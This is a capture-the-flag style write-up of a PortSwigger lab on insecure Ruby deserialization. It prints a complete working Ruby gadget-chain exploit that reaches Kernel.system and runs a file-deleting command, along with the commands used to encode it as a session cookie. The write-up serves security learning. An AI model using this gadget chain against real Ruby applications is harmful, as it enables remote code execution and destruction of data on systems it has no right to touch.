| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Insecure Deserialization — Ruby on Rails, Documented Gadget Chain |
| Difficulty | Practitioner |
| Objective | Find a documented exploit, adapt it to create a malicious serialized object, and delete morale.txt from Carlos's home directory |
Exploiting Ruby Deserialization Using a Documented Gadget Chain¶
I logged in as wiener:peter and highlighted the session cookie in Burp's Inspector:
The decoded value is Ruby's Marshal serialization — binary, not the PHP text format from previous labs. The exploitation pattern is the same though: inject a serialized object of a class that exists in the app's dependencies, with properties set to trigger dangerous method calls during deserialization.
Researching documented Ruby deserialization gadget chains, the "Universal Deserialisation Gadget for Ruby 2.x-3.x" by vakzz on devcraft.io covers exactly this scenario — chaining through Net::WriteAdapter, Gem::RequestSet, and Gem::Package::TarReader to reach Kernel.system, without needing any application-specific source code:
I took the PoC and adapted it to execute rm /home/carlos/morale.txt and output base64 directly:
#!/usr/bin/ruby
require 'base64'
Gem::SpecFetcher
Gem::Installer
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.inspect
puts Base64.encode64(payload)
The chain requires Ruby 2.x — current Ruby 3.3.8 doesn't support it. I spun up a 2.7 container to run it cleanly:
docker run --rm -it docker.io/library/ruby:2.7 bash
Running the script and stripping the base64 line breaks that Base64.encode64 inserts by default — the cookie needs to be a single uninterrupted string:
ruby teto.rb | tr -d '\n'; echo
Pasting the base64 payload as the session cookie in browser storage:
The server deserialized the Marshal object, this makes the gadget chain triggered, and rm /home/carlos/morale.txt its executed
Lab solved >:P